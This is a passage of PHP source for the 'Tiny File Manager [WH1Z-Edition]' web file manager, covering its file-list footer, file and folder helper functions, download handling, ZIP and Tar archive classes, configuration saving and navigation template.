this.href);"> <i class="fa fa-trash-o"></i></a> <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a> <a title="<?php echo lng('CopyTo') ?>..." href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a> <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a> </td> </tr> <?php flush(); $ik++; } if (empty($folders) && empty($files)) { ?> <tfoot> <tr><?php if (!FM_READONLY): ?> <td></td><?php endif; ?> <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td> </tr> </tfoot> <?php } else { ?> <tfoot> <tr> <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>"> <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?> <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?> <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?> </td> </tr> </tfoot> <?php } ?> </table> </div> <div class="row"> <?php if (!FM_READONLY): ?> <div class="col-xs-12 col-sm-9"> <ul class="list-inline footer-action"> <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')"> <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')"> <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')"> <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy"> <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li> </ul> </div> <div class="col-3 d-none d-sm-block"><a href="https://github.com/PinoyWH1Z/tinyfilemanager-wh1z-edition" target="_blank" class="float-right text-muted">Tiny File Manager [WH1Z-Edition] <?php echo VERSION; ?></a></div> <?php else: ?> <div class="col-12"><a href="https://github.com/PinoyWH1Z/tinyfilemanager-wh1z-edition" target="_blank" class="float-right text-muted">Tiny File Manager [WH1Z-Edition] <?php echo VERSION; ?></a></div> <?php endif; ?> </div> </form> <?php fm_show_footer(); // --- END HTML --- // Functions /** * It prints the css/js contents into html * @param key The key of the external file to print. */ function print_embedded_js($key) { global $external; if(!array_key_exists($key, $external)) { // throw new Exception('Key missing in external: ' . key); echo "<!-- EXTERNAL: MISSING KEY $key -->"; return; } $result = "<script type=\"text/javascript\">".base64_decode("$external[$key]")."</script>"; echo $result; } function print_embedded_css($key) { global $external; if(!array_key_exists($key, $external)) { // throw new Exception('Key missing in external: ' . key); echo "<!-- EXTERNAL: MISSING KEY $key -->"; return; } $result = "<style type=\"text/css\">".base64_decode("$external[$key]")."</style>"; echo $result; } function print_embedded_as_is($key) { global $external; if(!array_key_exists($key, $external)) { // throw new Exception('Key missing in external: ' . key); echo "<!-- EXTERNAL: MISSING KEY $key -->"; return; } $result = base64_decode("$external[$key]"); return $result; } function get_favicon($key) { global $external; if(!array_key_exists($key, $external)) { // throw new Exception('Key missing in external: ' . key); echo "<!-- EXTERNAL: MISSING KEY $key -->"; return; } $result = "$external[$key]"; echo $result; } /** * Verify CSRF TOKEN and remove after cerify * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = print_embedded_as_is('config-translation-file'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'zip': case 'rar': case 'gz': case 'tar': case '7z': case 'xz': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager [WH1Z-Edition]<br>Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '<br>'; $msg .= '<br>Seems like you have a trailing slash on the URL.'; $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>'; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10); if (is_writable($fm_file)) { $lines = file($fm_file); if ($fh = @fopen($fm_file, "w")) { @fputs($fh, $config_string, strlen($config_string)); for ($x = 3; $x < count($lines); $x++) { @fputs($fh, $lines[$x], strlen($lines[$x])); } @fclose($fh); } } } } //--- Templates Functions --- /** * Show nav block * @param string $path */ function fm_show_nav_path($path) { global $lang, $sticky_navbar, $editFile; $isStickyNavBar = $sticky_navbar ? 'fixed-top' : ''; $getTheme = fm_get_theme(); $getTheme .= " navbar-light"; if(FM_THEME == "dark") { $getTheme .= " navbar-dark"; } else { $getTheme .= " bg-white"; } ?> <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>"> <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <?php $path = fm_clean_path($path); $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>"; $sep = '<i class="bread-crumb"> / </i>'; if ($path != '') { $exploded = explode('/', $path); $count = count($exploded); $array = array(); $parent = ''; for ($i = 0; $i < $count; $i++) { $parent = trim($parent . '/' . $exploded[$i], '/'); $parent_enc = urlencode($parent); $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>"; } $root_url .= $sep . implode($sep, $array); } echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>'; ?> <div class="col-xs-6 col-sm-7"> <ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>"> <li class="nav-item mr-2"> <div class="input-group input-group-sm mr-1" style="margin-top:4px;"> <input type="text" class="form-control" 